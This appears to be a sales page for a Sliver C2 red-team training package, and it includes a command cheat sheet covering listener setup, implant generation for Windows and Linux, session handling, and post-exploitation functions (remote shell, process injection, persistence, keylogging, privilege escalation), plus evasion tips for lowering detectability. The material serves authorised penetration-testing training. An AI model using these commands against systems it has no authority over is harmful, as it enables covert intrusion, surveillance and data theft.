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Red Teaming with Sliver C2 Framework : Practice Guide + Audio Training (Lab Included)
Red Teaming with Sliver C2 Framework : Practice Guide + Audio Training (Lab Included)
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📘 Sliver C2 – Red Team Framework (PDF + Audio Training Session)
Sliver C2 is a powerful and modern open-source Command and Control (C2) framework developed by Bishop Fox for red teaming, adversary emulation, and advanced penetration testing.
Learn to deploy, control, and weaponize Sliver C2 in real-world simulations.
This guide is designed to help you quickly master Sliver C2 — from installation to execution — through a practical and structured approach. Whether you're a penetration tester, red team operator, or cybersecurity student, this package equips you with the tools and knowledge to conduct post-exploitation operations safely and effectively.
🛡️ 12-Month Update Guarantee
We continuously improve our content – you'll receive every update, new tutorial, and enhancement for free during the next 12 months.
✅ What’s Included
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📄 PDF Guidebook: Step-by-step instructions covering installation, implant generation, session management, and advanced usage.
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🎧 Audio Guide: Expert-led walkthrough discussing key concepts, real-world use cases, and pro tips for operational success.
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📌 Cheat Sheet: Command reference and quick notes for daily red team operations.
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🔒 Ethical Use Section: Best practices and disclaimers for legal and responsible testing.
🎯 Key Features
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Full coverage of Sliver setup on Kali/Linux systems
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Guidance for building and managing implants (Windows, Linux, macOS)
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Post-exploitation techniques: privilege escalation, persistence, command execution
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Comparison with popular frameworks like Cobalt Strike and Mythic
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Red team lab simulation scenario
👨💻 Who This Is For
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Red Team Operators & Threat Emulation Specialists
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Students preparing for CEH, OSCP, or equivalent certs
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Security professionals exploring free, open-source C2 solutions
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Labs, bootcamps, and online courses seeking quality supporting materials
Start mastering Sliver C2 today — a free tool with enterprise-grade power.
Get instant access to the downloadable PDF and audio guide, and take your offensive security skills to the next level.
🧠 Sliver C2 – Red Team Cheat Sheet
🔧 Installation & Setup
# Clone & install Sliver
git clone https://github.com/BishopFox/sliver.git
cd sliver
make build
# Launch Sliver server
./sliver-server
👤 Operator Setup
# Create a new operator
add-operator <name> --lhost <your_ip>
# Connect to Sliver server
./sliver-client
📡 Create Listener
# HTTP listener (basic)
listener http --name http1 --bind-ip 0.0.0.0 --port 8888
# mTLS listener
listener mtls --name secure1 --bind-ip 0.0.0.0 --port 443
🧬 Generate Implant
# Windows implant (x64)
generate --os windows --arch amd64 --format exe --listener http1
# Linux implant
generate --os linux --arch amd64 --format elf --listener http1
# Staged payload (C2 over HTTPS)
generate --os windows --arch amd64 --format shellcode --staged
🔗 Session Management
# List active sessions
sessions
# Interact with a session
use <session_id>
# Background session
background
📂 Post-Exploitation Commands
Command | Description |
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shell |
Open remote shell |
screenshot |
Capture screenshot |
upload / download
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Transfer files |
ps |
List processes |
inject |
Inject payload into another process |
persist |
Setup persistence |
portfwd |
Port forwarding (pivoting) |
keylogger |
Start keylogging |
elevate |
Attempt privilege escalation |
🛡️ Bypass & Evasion Tips
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Use mTLS or WireGuard listeners to reduce detectability.
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Try custom implant compilation (change name, icon, delay).
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Avoid running suspicious commands on monitored systems.
📌 Useful Tips
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Always define clear listener names for clarity.
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Test implants on your own lab VM before real engagements.
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Keep server updated – check:
git pull && make build
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🔗 Resources
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Docs: https://sliver.sh/docs
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YouTube Demos: search "Sliver C2 walkthrough"
🧪 Included: Pre-Built Pentesting Lab (VMware-Based)
This training package comes with a ready-to-use Pentesting Lab environment designed for hands-on practice with Sliver C2 and red team techniques.
💻 Lab Features
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🖥️ Attacker Machine: Kali Linux (fully loaded with tools)
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🎯 Target Systems:
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Windows Server (vulnerable configuration)
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Ubuntu Server (Linux target)
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Web Server (intentionally vulnerable apps for exploitation)
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🔌 How It Works
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The lab runs locally on your PC using VMware Workstation or VMware Player.
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No internet required — you can train in an isolated environment, safely and privately.
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Simple setup instructions included (PDF + video walkthrough).
📦 What You’ll Get
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Downloadable VM files (.vmx / .vmdk format)
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Network map & IP configuration for interaction
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Checklist of practice scenarios: C2 beaconing, privilege escalation, post-exploitation, and lateral movement.
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